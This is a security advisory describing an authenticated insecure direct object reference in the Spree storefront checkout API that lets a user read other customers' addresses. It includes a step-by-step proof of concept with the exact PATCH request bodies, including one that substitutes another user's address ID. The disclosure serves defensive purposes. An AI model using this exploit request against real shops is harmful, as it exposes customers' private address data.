Spree API has Authenticated Insecure Direct Object Reference (IDOR) via Order Modification

發布日:2026/1/8修改日:2026/2/3

描述

### Summary An Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order. By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response. ### Details Affected Component(s) - Authenticated user order management - Address association logic - Order update endpoint(s) Affected Endpoint(s): - `/api/v2/storefront/checkout` The application fails to enforce proper object-level authorization when updating an existing order. While the user is authenticated and authorized to modify their own order, the backend does not verify that the supplied address identifiers belong to the same authenticated user. ### PoC Preconditions - Valid authenticated user account Step 1: Log-in using a valid user, in this case [email protected] Step 2: Visualize current user’s addresses **Request** GET `/account/addresses` The following screenshot shows [email protected] address. <img width="336" height="375" alt="User Address" src="https://github.com/user-attachments/assets/ceb1f214-7ac0-40b0-af22-6fe9d21254bb" /> Step 3: Initialize the Shopping Cart **Request** POST `/api/v2/storefront/cart HTTP/1.1` From the response, extract the token marked in bold. Step 4: Legitimate Order Edit Request Using the obtained order token **A1cram_6cFWpoj4V1yPkuQ1767113871701** perform an edit order request in order to add a custom billing address **Request** PATCH `/api/v2/storefront/checkout` ```json { "include": "billing_address", "order": { "email": "[email protected]", "bill_address_attributes": { "firstname":"CTF","lastname":"Tester","address1":"123 Main St", "city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD" }, "ship_address_attributes": { "firstname":"CTF","lastname":"Tester","address1":"123 Main St", "city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD" } } } ``` Step 5: Modify the order request to include the other user's address and trigger the IDOR. In this request, the attacker modifies the request by substituting the address identifier with one belonging to another user, thereby rendering the original address identifier accessible to the attacker. **Request** PATCH `/api/v2/storefront/checkout` ```json {"include":"billing_address","order":**{"bill_address_attributes":{"id":1}}**} ``` As can be seen other user's address is displayed. ### Impact As a result, an attacker can: - Replace the address identifier with one belonging to another user - Cause the backend to associate and return another user’s address within the attacker’s order
